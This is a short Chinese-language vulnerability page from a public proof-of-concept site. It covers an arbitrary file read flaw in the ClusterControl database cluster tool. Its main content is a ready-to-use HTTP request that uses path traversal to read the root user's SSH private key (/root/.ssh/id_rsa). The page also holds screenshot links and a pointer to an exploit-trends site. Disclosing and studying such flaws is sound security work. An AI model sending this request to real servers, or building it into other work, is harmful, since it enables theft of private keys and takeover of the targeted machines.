ClusterControl存在任意文件读取漏洞

2024-08-01 ClusterControl PoC Public

Description

ClusterControl是一款专为数据库集群管理而设计的开源工具。ClusterControl存在任意文件读取漏洞，攻击者通过构造恶意请求，读取服务器任意文件内容。

PoC

# ClusterControl存在任意文件读取漏洞







## poc



```yaml

GET /../../../../../../../../..//root/.ssh/id_rsa HTTP/1.1

Host: 

Accept-Encoding: identity

User-Agent: python-urllib3/1.26.4

```



![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408011932688.png)



![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408011932059.png)

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2024-7739.html

References

Related Vulnerabilities